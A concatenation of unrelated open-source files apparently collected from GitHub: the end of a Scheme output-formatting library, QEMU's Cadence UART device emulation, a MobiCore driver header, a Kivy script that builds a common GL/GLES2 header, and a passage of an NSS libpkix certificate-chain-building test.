(string-length dec-sep))))))
(each (if (positive? diff) (make-string diff #\#) "")
dec-sep (make-string prec #\#)))
(displayed (make-string width #\#)))))
(displayed str)))))
(define (numeric/comma n . o)
(fn ((orig-comma-rule comma-rule))
(with ((comma-rule (if (pair? o) (car o) (or orig-comma-rule 3))))
(apply numeric n (if (pair? o) (cdr o) '())))))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; written
(define (write-with-shares obj shares)
(fn ((orig-radix radix) precision)
(let ((write-number
;; Shortcut for numeric values. Try to rely on
;; number->string for standard radixes and no precision,
;; otherwise fall back on numeric but resetting to a usable
;; radix.
(cond
((and (not precision)
(assv orig-radix
'((16 . "#x") (10 . "") (8 . "#o") (2 . "#b"))))
=> (lambda (cell)
(lambda (n)
(cond
((eqv? orig-radix 10)
(displayed (number->string n (car cell))))
((exact? n)
(each (cdr cell) (number->string n (car cell))))
(else
(with ((radix 10)) (numeric n)))))))
(else (lambda (n) (with ((radix 10)) (numeric n)))))))
;; `wr' is the recursive writer closing over the shares.
(let wr ((obj obj))
(call-with-shared-ref
obj shares each
(fn ()
(cond
((pair? obj)
(each "("
(fn ()
(let lp ((ls obj))
(let ((rest (cdr ls)))
(each (wr (car ls))
(cond
((null? rest)
nothing)
((pair? rest)
(each
" "
(call-with-shared-ref/cdr
rest shares each
(fn () (lp rest)))))
(else
(each " . " (wr rest))))))))
")"))
((vector? obj)
(let ((len (vector-length obj)))
(if (zero? len)
(displayed "#()")
(each "#("
(wr (vector-ref obj 0))
(fn ()
(let lp ((i 1))
(if (>= i len)
nothing
(each " " (wr (vector-ref obj i))
(fn () (lp (+ i 1)))))))
")"))))
((number? obj)
(write-number obj))
(else
(displayed (write-to-string obj))))))))))
;; The default formatter for `written', overriden with the `writer'
;; variable. Intended to be equivalent to `write', using datum labels
;; for shared notation iff there are cycles in the object.
(define (written-default obj)
(fn ()
(write-with-shares obj (extract-shared-objects obj #t))))
;; Writes the object showing the full shared structure.
(define (written-shared obj)
(fn ()
(write-with-shares obj (extract-shared-objects obj #f))))
;; The only expensive part, in both time and memory, of handling
;; shared structures when writing is building the initial table, so
;; for the efficient version we just skip that and re-use the writing
;; code.
(define (written-simply obj)
(fn ()
(write-with-shares obj (extract-shared-objects #f #f))))
;; Local variables:
;; eval: (put 'fn 'scheme-indent-function 1)
;; End:
| {
"pile_set_name": "Github"
} |
/*
* Device model for Cadence UART
*
* Reference: Xilinx Zynq 7000 reference manual
* - http://www.xilinx.com/support/documentation/user_guides/ug585-Zynq-7000-TRM.pdf
* - Chapter 19 UART Controller
* - Appendix B for Register details
*
* Copyright (c) 2010 Xilinx Inc.
* Copyright (c) 2012 Peter A.G. Crosthwaite ([email protected])
* Copyright (c) 2012 PetaLogix Pty Ltd.
* Written by Haibing Ma
* M.Habib
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses/>.
*/
#include "qemu/osdep.h"
#include "hw/sysbus.h"
#include "chardev/char-fe.h"
#include "chardev/char-serial.h"
#include "qemu/timer.h"
#include "qemu/log.h"
#include "hw/char/cadence_uart.h"
#ifdef CADENCE_UART_ERR_DEBUG
#define DB_PRINT(...) do { \
fprintf(stderr, ": %s: ", __func__); \
fprintf(stderr, ## __VA_ARGS__); \
} while (0)
#else
#define DB_PRINT(...)
#endif
#define UART_SR_INTR_RTRIG 0x00000001
#define UART_SR_INTR_REMPTY 0x00000002
#define UART_SR_INTR_RFUL 0x00000004
#define UART_SR_INTR_TEMPTY 0x00000008
#define UART_SR_INTR_TFUL 0x00000010
/* somewhat awkwardly, TTRIG is misaligned between SR and ISR */
#define UART_SR_TTRIG 0x00002000
#define UART_INTR_TTRIG 0x00000400
/* bits fields in CSR that correlate to CISR. If any of these bits are set in
* SR, then the same bit in CISR is set high too */
#define UART_SR_TO_CISR_MASK 0x0000001F
#define UART_INTR_ROVR 0x00000020
#define UART_INTR_FRAME 0x00000040
#define UART_INTR_PARE 0x00000080
#define UART_INTR_TIMEOUT 0x00000100
#define UART_INTR_DMSI 0x00000200
#define UART_INTR_TOVR 0x00001000
#define UART_SR_RACTIVE 0x00000400
#define UART_SR_TACTIVE 0x00000800
#define UART_SR_FDELT 0x00001000
#define UART_CR_RXRST 0x00000001
#define UART_CR_TXRST 0x00000002
#define UART_CR_RX_EN 0x00000004
#define UART_CR_RX_DIS 0x00000008
#define UART_CR_TX_EN 0x00000010
#define UART_CR_TX_DIS 0x00000020
#define UART_CR_RST_TO 0x00000040
#define UART_CR_STARTBRK 0x00000080
#define UART_CR_STOPBRK 0x00000100
#define UART_MR_CLKS 0x00000001
#define UART_MR_CHRL 0x00000006
#define UART_MR_CHRL_SH 1
#define UART_MR_PAR 0x00000038
#define UART_MR_PAR_SH 3
#define UART_MR_NBSTOP 0x000000C0
#define UART_MR_NBSTOP_SH 6
#define UART_MR_CHMODE 0x00000300
#define UART_MR_CHMODE_SH 8
#define UART_MR_UCLKEN 0x00000400
#define UART_MR_IRMODE 0x00000800
#define UART_DATA_BITS_6 (0x3 << UART_MR_CHRL_SH)
#define UART_DATA_BITS_7 (0x2 << UART_MR_CHRL_SH)
#define UART_PARITY_ODD (0x1 << UART_MR_PAR_SH)
#define UART_PARITY_EVEN (0x0 << UART_MR_PAR_SH)
#define UART_STOP_BITS_1 (0x3 << UART_MR_NBSTOP_SH)
#define UART_STOP_BITS_2 (0x2 << UART_MR_NBSTOP_SH)
#define NORMAL_MODE (0x0 << UART_MR_CHMODE_SH)
#define ECHO_MODE (0x1 << UART_MR_CHMODE_SH)
#define LOCAL_LOOPBACK (0x2 << UART_MR_CHMODE_SH)
#define REMOTE_LOOPBACK (0x3 << UART_MR_CHMODE_SH)
#define UART_INPUT_CLK 50000000
#define R_CR (0x00/4)
#define R_MR (0x04/4)
#define R_IER (0x08/4)
#define R_IDR (0x0C/4)
#define R_IMR (0x10/4)
#define R_CISR (0x14/4)
#define R_BRGR (0x18/4)
#define R_RTOR (0x1C/4)
#define R_RTRIG (0x20/4)
#define R_MCR (0x24/4)
#define R_MSR (0x28/4)
#define R_SR (0x2C/4)
#define R_TX_RX (0x30/4)
#define R_BDIV (0x34/4)
#define R_FDEL (0x38/4)
#define R_PMIN (0x3C/4)
#define R_PWID (0x40/4)
#define R_TTRIG (0x44/4)
static void uart_update_status(CadenceUARTState *s)
{
s->r[R_SR] = 0;
s->r[R_SR] |= s->rx_count == CADENCE_UART_RX_FIFO_SIZE ? UART_SR_INTR_RFUL
: 0;
s->r[R_SR] |= !s->rx_count ? UART_SR_INTR_REMPTY : 0;
s->r[R_SR] |= s->rx_count >= s->r[R_RTRIG] ? UART_SR_INTR_RTRIG : 0;
s->r[R_SR] |= s->tx_count == CADENCE_UART_TX_FIFO_SIZE ? UART_SR_INTR_TFUL
: 0;
s->r[R_SR] |= !s->tx_count ? UART_SR_INTR_TEMPTY : 0;
s->r[R_SR] |= s->tx_count >= s->r[R_TTRIG] ? UART_SR_TTRIG : 0;
s->r[R_CISR] |= s->r[R_SR] & UART_SR_TO_CISR_MASK;
s->r[R_CISR] |= s->r[R_SR] & UART_SR_TTRIG ? UART_INTR_TTRIG : 0;
qemu_set_irq(s->irq, !!(s->r[R_IMR] & s->r[R_CISR]));
}
static void fifo_trigger_update(void *opaque)
{
CadenceUARTState *s = opaque;
if (s->r[R_RTOR]) {
s->r[R_CISR] |= UART_INTR_TIMEOUT;
uart_update_status(s);
}
}
static void uart_rx_reset(CadenceUARTState *s)
{
s->rx_wpos = 0;
s->rx_count = 0;
qemu_chr_fe_accept_input(&s->chr);
}
static void uart_tx_reset(CadenceUARTState *s)
{
s->tx_count = 0;
}
static void uart_send_breaks(CadenceUARTState *s)
{
int break_enabled = 1;
qemu_chr_fe_ioctl(&s->chr, CHR_IOCTL_SERIAL_SET_BREAK,
&break_enabled);
}
static void uart_parameters_setup(CadenceUARTState *s)
{
QEMUSerialSetParams ssp;
unsigned int baud_rate, packet_size;
baud_rate = (s->r[R_MR] & UART_MR_CLKS) ?
UART_INPUT_CLK / 8 : UART_INPUT_CLK;
ssp.speed = baud_rate / (s->r[R_BRGR] * (s->r[R_BDIV] + 1));
packet_size = 1;
switch (s->r[R_MR] & UART_MR_PAR) {
case UART_PARITY_EVEN:
ssp.parity = 'E';
packet_size++;
break;
case UART_PARITY_ODD:
ssp.parity = 'O';
packet_size++;
break;
default:
ssp.parity = 'N';
break;
}
switch (s->r[R_MR] & UART_MR_CHRL) {
case UART_DATA_BITS_6:
ssp.data_bits = 6;
break;
case UART_DATA_BITS_7:
ssp.data_bits = 7;
break;
default:
ssp.data_bits = 8;
break;
}
switch (s->r[R_MR] & UART_MR_NBSTOP) {
case UART_STOP_BITS_1:
ssp.stop_bits = 1;
break;
default:
ssp.stop_bits = 2;
break;
}
packet_size += ssp.data_bits + ssp.stop_bits;
s->char_tx_time = (NANOSECONDS_PER_SECOND / ssp.speed) * packet_size;
qemu_chr_fe_ioctl(&s->chr, CHR_IOCTL_SERIAL_SET_PARAMS, &ssp);
}
static int uart_can_receive(void *opaque)
{
CadenceUARTState *s = opaque;
int ret = MAX(CADENCE_UART_RX_FIFO_SIZE, CADENCE_UART_TX_FIFO_SIZE);
uint32_t ch_mode = s->r[R_MR] & UART_MR_CHMODE;
if (ch_mode == NORMAL_MODE || ch_mode == ECHO_MODE) {
ret = MIN(ret, CADENCE_UART_RX_FIFO_SIZE - s->rx_count);
}
if (ch_mode == REMOTE_LOOPBACK || ch_mode == ECHO_MODE) {
ret = MIN(ret, CADENCE_UART_TX_FIFO_SIZE - s->tx_count);
}
return ret;
}
static void uart_ctrl_update(CadenceUARTState *s)
{
if (s->r[R_CR] & UART_CR_TXRST) {
uart_tx_reset(s);
}
if (s->r[R_CR] & UART_CR_RXRST) {
uart_rx_reset(s);
}
s->r[R_CR] &= ~(UART_CR_TXRST | UART_CR_RXRST);
if (s->r[R_CR] & UART_CR_STARTBRK && !(s->r[R_CR] & UART_CR_STOPBRK)) {
uart_send_breaks(s);
}
}
static void uart_write_rx_fifo(void *opaque, const uint8_t *buf, int size)
{
CadenceUARTState *s = opaque;
uint64_t new_rx_time = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
int i;
if ((s->r[R_CR] & UART_CR_RX_DIS) || !(s->r[R_CR] & UART_CR_RX_EN)) {
return;
}
if (s->rx_count == CADENCE_UART_RX_FIFO_SIZE) {
s->r[R_CISR] |= UART_INTR_ROVR;
} else {
for (i = 0; i < size; i++) {
s->rx_fifo[s->rx_wpos] = buf[i];
s->rx_wpos = (s->rx_wpos + 1) % CADENCE_UART_RX_FIFO_SIZE;
s->rx_count++;
}
timer_mod(s->fifo_trigger_handle, new_rx_time +
(s->char_tx_time * 4));
}
uart_update_status(s);
}
static gboolean cadence_uart_xmit(GIOChannel *chan, GIOCondition cond,
void *opaque)
{
CadenceUARTState *s = opaque;
int ret;
/* instant drain the fifo when there's no back-end */
if (!qemu_chr_fe_backend_connected(&s->chr)) {
s->tx_count = 0;
return FALSE;
}
if (!s->tx_count) {
return FALSE;
}
ret = qemu_chr_fe_write(&s->chr, s->tx_fifo, s->tx_count);
if (ret >= 0) {
s->tx_count -= ret;
memmove(s->tx_fifo, s->tx_fifo + ret, s->tx_count);
}
if (s->tx_count) {
guint r = qemu_chr_fe_add_watch(&s->chr, G_IO_OUT | G_IO_HUP,
cadence_uart_xmit, s);
if (!r) {
s->tx_count = 0;
return FALSE;
}
}
uart_update_status(s);
return FALSE;
}
static void uart_write_tx_fifo(CadenceUARTState *s, const uint8_t *buf,
int size)
{
if ((s->r[R_CR] & UART_CR_TX_DIS) || !(s->r[R_CR] & UART_CR_TX_EN)) {
return;
}
if (size > CADENCE_UART_TX_FIFO_SIZE - s->tx_count) {
size = CADENCE_UART_TX_FIFO_SIZE - s->tx_count;
/*
* This can only be a guest error via a bad tx fifo register push,
* as can_receive() should stop remote loop and echo modes ever getting
* us to here.
*/
qemu_log_mask(LOG_GUEST_ERROR, "cadence_uart: TxFIFO overflow");
s->r[R_CISR] |= UART_INTR_ROVR;
}
memcpy(s->tx_fifo + s->tx_count, buf, size);
s->tx_count += size;
cadence_uart_xmit(NULL, G_IO_OUT, s);
}
static void uart_receive(void *opaque, const uint8_t *buf, int size)
{
CadenceUARTState *s = opaque;
uint32_t ch_mode = s->r[R_MR] & UART_MR_CHMODE;
if (ch_mode == NORMAL_MODE || ch_mode == ECHO_MODE) {
uart_write_rx_fifo(opaque, buf, size);
}
if (ch_mode == REMOTE_LOOPBACK || ch_mode == ECHO_MODE) {
uart_write_tx_fifo(s, buf, size);
}
}
static void uart_event(void *opaque, int event)
{
CadenceUARTState *s = opaque;
uint8_t buf = '\0';
if (event == CHR_EVENT_BREAK) {
uart_write_rx_fifo(opaque, &buf, 1);
}
uart_update_status(s);
}
static void uart_read_rx_fifo(CadenceUARTState *s, uint32_t *c)
{
if ((s->r[R_CR] & UART_CR_RX_DIS) || !(s->r[R_CR] & UART_CR_RX_EN)) {
return;
}
if (s->rx_count) {
uint32_t rx_rpos = (CADENCE_UART_RX_FIFO_SIZE + s->rx_wpos -
s->rx_count) % CADENCE_UART_RX_FIFO_SIZE;
*c = s->rx_fifo[rx_rpos];
s->rx_count--;
qemu_chr_fe_accept_input(&s->chr);
} else {
*c = 0;
}
uart_update_status(s);
}
static void uart_write(void *opaque, hwaddr offset,
uint64_t value, unsigned size)
{
CadenceUARTState *s = opaque;
DB_PRINT(" offset:%x data:%08x\n", (unsigned)offset, (unsigned)value);
offset >>= 2;
if (offset >= CADENCE_UART_R_MAX) {
return;
}
switch (offset) {
case R_IER: /* ier (wts imr) */
s->r[R_IMR] |= value;
break;
case R_IDR: /* idr (wtc imr) */
s->r[R_IMR] &= ~value;
break;
case R_IMR: /* imr (read only) */
break;
case R_CISR: /* cisr (wtc) */
s->r[R_CISR] &= ~value;
break;
case R_TX_RX: /* UARTDR */
switch (s->r[R_MR] & UART_MR_CHMODE) {
case NORMAL_MODE:
uart_write_tx_fifo(s, (uint8_t *) &value, 1);
break;
case LOCAL_LOOPBACK:
uart_write_rx_fifo(opaque, (uint8_t *) &value, 1);
break;
}
break;
case R_BRGR: /* Baud rate generator */
if (value >= 0x01) {
s->r[offset] = value & 0xFFFF;
}
break;
case R_BDIV: /* Baud rate divider */
if (value >= 0x04) {
s->r[offset] = value & 0xFF;
}
break;
default:
s->r[offset] = value;
}
switch (offset) {
case R_CR:
uart_ctrl_update(s);
break;
case R_MR:
uart_parameters_setup(s);
break;
}
uart_update_status(s);
}
static uint64_t uart_read(void *opaque, hwaddr offset,
unsigned size)
{
CadenceUARTState *s = opaque;
uint32_t c = 0;
offset >>= 2;
if (offset >= CADENCE_UART_R_MAX) {
c = 0;
} else if (offset == R_TX_RX) {
uart_read_rx_fifo(s, &c);
} else {
c = s->r[offset];
}
DB_PRINT(" offset:%x data:%08x\n", (unsigned)(offset << 2), (unsigned)c);
return c;
}
static const MemoryRegionOps uart_ops = {
.read = uart_read,
.write = uart_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};
static void cadence_uart_reset(DeviceState *dev)
{
CadenceUARTState *s = CADENCE_UART(dev);
s->r[R_CR] = 0x00000128;
s->r[R_IMR] = 0;
s->r[R_CISR] = 0;
s->r[R_RTRIG] = 0x00000020;
s->r[R_BRGR] = 0x0000028B;
s->r[R_BDIV] = 0x0000000F;
s->r[R_TTRIG] = 0x00000020;
uart_rx_reset(s);
uart_tx_reset(s);
uart_update_status(s);
}
static void cadence_uart_realize(DeviceState *dev, Error **errp)
{
CadenceUARTState *s = CADENCE_UART(dev);
s->fifo_trigger_handle = timer_new_ns(QEMU_CLOCK_VIRTUAL,
fifo_trigger_update, s);
qemu_chr_fe_set_handlers(&s->chr, uart_can_receive, uart_receive,
uart_event, NULL, s, NULL, true);
}
static void cadence_uart_init(Object *obj)
{
SysBusDevice *sbd = SYS_BUS_DEVICE(obj);
CadenceUARTState *s = CADENCE_UART(obj);
memory_region_init_io(&s->iomem, obj, &uart_ops, s, "uart", 0x1000);
sysbus_init_mmio(sbd, &s->iomem);
sysbus_init_irq(sbd, &s->irq);
s->char_tx_time = (NANOSECONDS_PER_SECOND / 9600) * 10;
}
static int cadence_uart_post_load(void *opaque, int version_id)
{
CadenceUARTState *s = opaque;
/* Ensure these two aren't invalid numbers */
if (s->r[R_BRGR] < 1 || s->r[R_BRGR] & ~0xFFFF ||
s->r[R_BDIV] <= 3 || s->r[R_BDIV] & ~0xFF) {
/* Value is invalid, abort */
return 1;
}
uart_parameters_setup(s);
uart_update_status(s);
return 0;
}
static const VMStateDescription vmstate_cadence_uart = {
.name = "cadence_uart",
.version_id = 2,
.minimum_version_id = 2,
.post_load = cadence_uart_post_load,
.fields = (VMStateField[]) {
VMSTATE_UINT32_ARRAY(r, CadenceUARTState, CADENCE_UART_R_MAX),
VMSTATE_UINT8_ARRAY(rx_fifo, CadenceUARTState,
CADENCE_UART_RX_FIFO_SIZE),
VMSTATE_UINT8_ARRAY(tx_fifo, CadenceUARTState,
CADENCE_UART_TX_FIFO_SIZE),
VMSTATE_UINT32(rx_count, CadenceUARTState),
VMSTATE_UINT32(tx_count, CadenceUARTState),
VMSTATE_UINT32(rx_wpos, CadenceUARTState),
VMSTATE_TIMER_PTR(fifo_trigger_handle, CadenceUARTState),
VMSTATE_END_OF_LIST()
}
};
static Property cadence_uart_properties[] = {
DEFINE_PROP_CHR("chardev", CadenceUARTState, chr),
DEFINE_PROP_END_OF_LIST(),
};
static void cadence_uart_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
dc->realize = cadence_uart_realize;
dc->vmsd = &vmstate_cadence_uart;
dc->reset = cadence_uart_reset;
dc->props = cadence_uart_properties;
}
static const TypeInfo cadence_uart_info = {
.name = TYPE_CADENCE_UART,
.parent = TYPE_SYS_BUS_DEVICE,
.instance_size = sizeof(CadenceUARTState),
.instance_init = cadence_uart_init,
.class_init = cadence_uart_class_init,
};
static void cadence_uart_register_types(void)
{
type_register_static(&cadence_uart_info);
}
type_init(cadence_uart_register_types)
| {
"pile_set_name": "Github"
} |
/*
* MobiCore driver module.(interface to the secure world SWD)
*
* <-- Copyright Giesecke & Devrient GmbH 2009-2012 -->
* <-- Copyright Trustonic Limited 2013 -->
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef _MC_OPS_H_
#define _MC_OPS_H_
#include <linux/workqueue.h>
#include "fastcall.h"
int mc_yield(void);
int mc_nsiq(void);
int _nsiq(void);
uint32_t mc_get_version(void);
int mc_info(uint32_t ext_info_id, uint32_t *state, uint32_t *ext_info);
int mc_init(phys_addr_t base, uint32_t nq_length, uint32_t mcp_offset,
uint32_t mcp_length);
#ifdef TBASE_CORE_SWITCHER
int mc_switch_core(uint32_t core_num);
#endif
bool mc_fastcall(void *data);
int mc_fastcall_init(struct mc_context *context);
void mc_fastcall_destroy(void);
#endif /* _MC_OPS_H_ */
| {
"pile_set_name": "Github"
} |
'''
Common GLES Subset Extraction Script
====================================
In Kivy, our goal is to use OpenGL ES 2.0 (GLES2) for all drawing on all
platforms. The problem is that GLES2 is not a proper subset of any OpenGL
Desktop (GL) version prior to version 4.1.
However, to keep all our drawing cross-platform compatible, we're
restricting the Kivy drawing core to a real subset of GLES2 that is
available on all platforms.
This script therefore parses the GL and GL Extension (GLEXT) headers and
compares them with the GLES2 header. It then generates a header that only
contains symbols that are common to GLES2 and at least either GL or GLEXT.
However, since GLES2 doesn't support double values, we also need to do some
renaming, because functions in GL that took doubles as arguments now take
floats in GLES2, with their function name being suffixed with 'f'.
Furthermore, sometimes the pure symbol name doesn't match because there
might be an _EXT or _ARB or something akin to that at the end of a symbol
name. In that case, we take the symbol from the original header and add
a #define directive to redirect to that symbol from the symbol name without
extension.
'''
from __future__ import print_function
gl = open("/Developer/SDKs/MacOSX10.6.sdk/System/Library/Frameworks/" +
"OpenGL.framework/Versions/A/Headers/gl.h", 'r')
glext = open("/Developer/SDKs/MacOSX10.6.sdk/System/Library/Frameworks/" +
"OpenGL.framework/Versions/A/Headers/glext.h", 'r')
gles = open("gl2.h", 'r')
def add_defines_to_set(header):
symbols = []
lineno = 0
for line in header:
symbol = None
hexcode = None
lineno += 1
line = line.strip()
try:
elements = line.split()
if line.startswith("#define"):
symbol = elements[1]
for element in elements:
if element.startswith("0x"):
hexcode = element
elif line.startswith("typedef"):
symbol = elements[-1]
else:
for element in elements:
if element.startswith("gl"):
symbol = element
if symbol:
symbols.append((symbol, lineno, line, hexcode))
except Exception as e:
print('error:', lineno, ':', line)
print(e)
return symbols
def extract_common_symbols(symbols1, symbols2, already_extracted):
for symbol1, lineno1, line1, hexcode1 in symbols1:
for symbol2, lineno2, line2, hexcode2 in symbols2:
if symbol1 in already_extracted or symbol2 in already_extracted:
continue
if symbol1 == symbol2 + 'f':
# There is no `double` type in GLES; Functions that were using
# a double were renamed with the suffix 'f'.
print("// Different Name; Redefine")
print(line2)
print("#define %s %s" % (symbol1, symbol2))
elif symbol1 == symbol2:
already_extracted.append(symbol1)
print(line1)
if symbol1 == 'GLclampf;':
# See explanation about doubles on GLES above.
print('typedef GLclampf GLclampd;')
elif hexcode1 and hexcode2 and hexcode1 == hexcode2:
already_extracted.append(symbol1)
already_extracted.append(symbol2)
print("// Different Name; Redefine")
print(line2)
print("#define %s %s" % (symbol1, symbol2))
# Generate ------------------------------------------------
# pipe to kivy/kivy/graphics/common_subset.h
gl_symbols = add_defines_to_set(gl)
glext_symbols = add_defines_to_set(glext)
gles_symbols = add_defines_to_set(gles)
print('// GLES 2.0 Header file, generated for Kivy')
print('// Check kivy/kivy/tools/gles_compat/subset_gles.py')
print('#pragma once')
print('#include "gl2platform.h"')
print('#ifdef __cplusplus')
print('extern "C" {')
print('#endif')
# Don't add the same symbol more than once
already_extracted = []
print('\n// Subset common to GLES and GL: ===================================')
extract_common_symbols(gles_symbols, gl_symbols, already_extracted)
print('\n// Subset common to GLES and GLEXT: ================================')
extract_common_symbols(gles_symbols, glext_symbols, already_extracted)
print()
print('// What follows was manually extracted from the GLES2 headers because')
print('// it was not present in any other header.', end=' ')
print('''
#define GL_SHADER_BINARY_FORMATS 0x8DF8
#define GL_RGB565 0x8D62
''')
print('#ifdef __cplusplus')
print('}')
print('#endif')
print('\n')
| {
"pile_set_name": "Github"
} |
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
/*
* test_buildchain_partialchain.c
*
* Test BuildChain function
*
*/
#define debuggingWithoutRevocation
#include "testutil.h"
#include "testutil_nss.h"
#define LDAP_PORT 389
static PKIX_Boolean usebind = PKIX_FALSE;
static PKIX_Boolean useLDAP = PKIX_FALSE;
static char buf[PR_NETDB_BUF_SIZE];
static char *serverName = NULL;
static char *sepPtr = NULL;
static PRNetAddr netAddr;
static PRHostEnt hostent;
static PKIX_UInt32 portNum = 0;
static PRIntn hostenum = 0;
static PRStatus prstatus = PR_FAILURE;
static void *ipaddr = NULL;
static void *plContext = NULL;
static void
printUsage(void)
{
(void)printf("\nUSAGE:\ttest_buildchain [-arenas] [usebind] "
"servername[:port] <testName> [ENE|EE]\n"
"\t <certStoreDirectory> <targetCert>"
" <intermediate Certs...> <trustedCert>\n\n");
(void)printf("Builds a chain of certificates from <targetCert> to <trustedCert>\n"
"using the certs and CRLs in <certStoreDirectory>. "
"servername[:port] gives\n"
"the address of an LDAP server. If port is not"
" specified, port 389 is used. \"-\" means no LDAP server.\n"
"If ENE is specified, then an Error is Not Expected. "
"EE indicates an Error is Expected.\n");
}
static PKIX_Error *
createLdapCertStore(
char *hostname,
PRIntervalTime timeout,
PKIX_CertStore **pLdapCertStore,
void *plContext)
{
PRIntn backlog = 0;
char *bindname = "";
char *auth = "";
LDAPBindAPI bindAPI;
LDAPBindAPI *bindPtr = NULL;
PKIX_PL_LdapDefaultClient *ldapClient = NULL;
PKIX_CertStore *ldapCertStore = NULL;
PKIX_TEST_STD_VARS();
if (usebind) {
bindPtr = &bindAPI;
bindAPI.selector = SIMPLE_AUTH;
bindAPI.chooser.simple.bindName = bindname;
bindAPI.chooser.simple.authentication = auth;
}
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_LdapDefaultClient_CreateByName(hostname, timeout, bindPtr, &ldapClient, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_LdapCertStore_Create((PKIX_PL_LdapClient *)ldapClient,
&ldapCertStore,
plContext));
*pLdapCertStore = ldapCertStore;
cleanup:
PKIX_TEST_DECREF_AC(ldapClient);
PKIX_TEST_RETURN();
return (pkixTestErrorResult);
}
/* Test with all Certs in the partial list, no leaf */
static PKIX_Error *
testWithNoLeaf(
PKIX_PL_Cert *trustedCert,
PKIX_List *listOfCerts,
PKIX_PL_Cert *targetCert,
PKIX_List *certStores,
PKIX_Boolean testValid,
void *plContext)
{
PKIX_UInt32 numCerts = 0;
PKIX_UInt32 i = 0;
PKIX_TrustAnchor *anchor = NULL;
PKIX_List *anchors = NULL;
PKIX_List *hintCerts = NULL;
PKIX_List *revCheckers = NULL;
PKIX_List *certs = NULL;
PKIX_PL_Cert *cert = NULL;
PKIX_ProcessingParams *procParams = NULL;
PKIX_ComCertSelParams *certSelParams = NULL;
PKIX_CertSelector *certSelector = NULL;
PKIX_PL_PublicKey *trustedPubKey = NULL;
PKIX_RevocationChecker *revChecker = NULL;
PKIX_BuildResult *buildResult = NULL;
PRPollDesc *pollDesc = NULL;
void *state = NULL;
char *asciiResult = NULL;
PKIX_TEST_STD_VARS();
/* create processing params with list of trust anchors */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_TrustAnchor_CreateWithCert(trustedCert, &anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&anchors, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(anchors, (PKIX_PL_Object *)anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_Create(anchors, &procParams, plContext));
/* create CertSelector with no target certificate in params */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ComCertSelParams_Create(&certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_Create(NULL, NULL, &certSelector, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_SetCommonCertSelectorParams(certSelector, certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetTargetCertConstraints(procParams, certSelector, plContext));
/* create hintCerts */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Object_Duplicate((PKIX_PL_Object *)listOfCerts,
(PKIX_PL_Object **)&hintCerts,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetHintCerts(procParams, hintCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetCertStores(procParams, certStores, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&revCheckers, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Cert_GetSubjectPublicKey(trustedCert, &trustedPubKey, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(listOfCerts, &numCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(pkix_DefaultRevChecker_Initialize(certStores,
NULL, /* testDate, may be NULL */
trustedPubKey,
numCerts,
&revChecker,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(revCheckers, (PKIX_PL_Object *)revChecker, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationCheckers(procParams, revCheckers, plContext));
#ifdef debuggingWithoutRevocation
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationEnabled(procParams, PKIX_FALSE, plContext));
#endif
/* build cert chain using processing params and return buildResult */
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
while (pollDesc != NULL) {
if (PR_Poll(pollDesc, 1, 0) < 0) {
testError("PR_Poll failed");
}
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
}
if (pkixTestErrorResult) {
if (testValid == PKIX_FALSE) { /* EE */
(void)printf("EXPECTED ERROR RECEIVED!\n");
} else { /* ENE */
testError("UNEXPECTED ERROR RECEIVED");
}
PKIX_TEST_DECREF_BC(pkixTestErrorResult);
goto cleanup;
}
if (testValid == PKIX_TRUE) { /* ENE */
(void)printf("EXPECTED NON-ERROR RECEIVED!\n");
} else { /* EE */
(void)printf("UNEXPECTED NON-ERROR RECEIVED!\n");
}
if (buildResult) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_BuildResult_GetCertChain(buildResult, &certs, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(certs, &numCerts, plContext));
printf("\n");
for (i = 0; i < numCerts; i++) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetItem(certs,
i,
(PKIX_PL_Object **)&cert,
plContext));
asciiResult = PKIX_Cert2ASCII(cert);
printf("CERT[%d]:\n%s\n", i, asciiResult);
/* PKIX_Cert2ASCII used PKIX_PL_Malloc(...,,NULL) */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Free(asciiResult, NULL));
